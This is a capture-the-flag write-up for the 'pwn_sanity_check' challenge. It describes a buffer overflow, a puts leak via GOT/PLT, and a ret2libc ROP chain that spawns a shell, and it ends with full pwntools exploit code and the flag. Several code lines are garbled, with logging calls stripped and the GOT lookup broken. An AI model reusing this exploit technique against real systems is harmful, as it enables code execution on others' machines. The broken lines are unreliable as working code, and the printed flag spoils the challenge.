A ret2win problem which I did with a ret2libc approach. Leaked the address of puts and used a simple ROPchain to execute /bin/sh.




The original problem is intended to be a ret2win problem with a simpler approach which involves overwriting the return address to the address of the instruction which executes /bin/sh within the function.

However, I approached the problem with a ret2libc solution which involved leaking the libc address and building a simple ROPchain to invoke /bin/sh instead.

The first part of the problem involves a simple buffer overflow where we change the value of a variable which gets compared against 0xdeadc0de and if the comparison succeeds, then execution continues in the function, which claims to invoke /bin/sh but does not do anything besides print a few messages. The offset for the value that we need to overwrite turned out to be 60, which we got after using a DeBrujin sequence to overflow the buffer and found the offset by doing a query against msf-patter_offset.

In order to complete the exploit, we will leak libc addresses. We will obtain the GOT and PLT address of puts via pwntools. We will also get the address of main in our binary. We also need a few gadgets, so we will obtain the addresses of pop rdi;ret and ret gadgets that we can use.

We sent our first payload consisting of:

(Padding of length 60) + (0xdeadc0de) + (Padding of length 4 for stack alignment) + (pop rdi;ret address) + (GOT address of puts) + (PLT address of puts) + (address of sym.main)

This results in leakage of the address of puts in libc.

We then take that leaked address and subtract it by the address of puts in the libc library loaded by the target computer ( which we get by searching the libc database against the last 3 bytes of the leaked puts address) to get the base address of libc.

Then we use to search for the libc offsets of system and /bin/sh for that libc version which turned out to be 0x055410 and 0x1b75aa, respectively.

Running our first payload will result in execution flow returning to main after leaving the function. To build our second payload which we will provide the second time we are asked for input (we will be asked ‘tell me a joke’ twice):

(Padding of length 60) + (0xdeadc0de) + (Padding of length 4 for stack alignment) + (pop rdi;ret address) + (address of /bin/sh) + (ret address) + (address of system)

Sending this second payload results in a shell spawning. We can now retrieve the flag by running cat flag.txt.


Full exploit code:


from pwn import *

# p = process('./pwn_sanity_check')
p = remote('', 7480)
elf = ELF("pwn_sanity_check")
libc = ELF("")
rop = ROP(elf)

FUNC_GOT =["puts"]
PUTS_PLT = elf.plt["puts"]
MAIN_SYM = elf.symbols["main"]
RET = (rop.find_gadget(['ret']))[0]
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]

pad = b'C' * 60
payload1 = pad
payload1 += p64(0xdeadc0de)
payload1 += b'B' * 4
payload1 += p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_SYM)

p.sendlineafter('tell me a joke\n',payload1)
p.recvline_contains("If this is not good enough")

#Parse leaked address
recieved = p.recvline().strip()
leak =  u64(recieved.ljust(8,b"\x00"))"Leaked libc address, Puts: %s" % hex(leak))

_libc_start_main = leak - libc.sym["puts"]"Base address of libc: %s " % hex(_libc_start_main))

system = _libc_start_main + 0x055410
bin_sh = _libc_start_main + 0x1b75aa"system %s" % hex(system))"bin_sh %s" % hex(bin_sh))

payload2 = pad
payload2 += p64(0xdeadc0de)
payload2 += b'B' * 4
payload2 += p64(POP_RDI)
payload2 += p64(bin_sh)
payload2 += p64(RET)
payload2 += p64(system)

p.sendlineafter('tell me a joke\n',payload2)

Flag: dctf{Ju5t_m0v3_0n}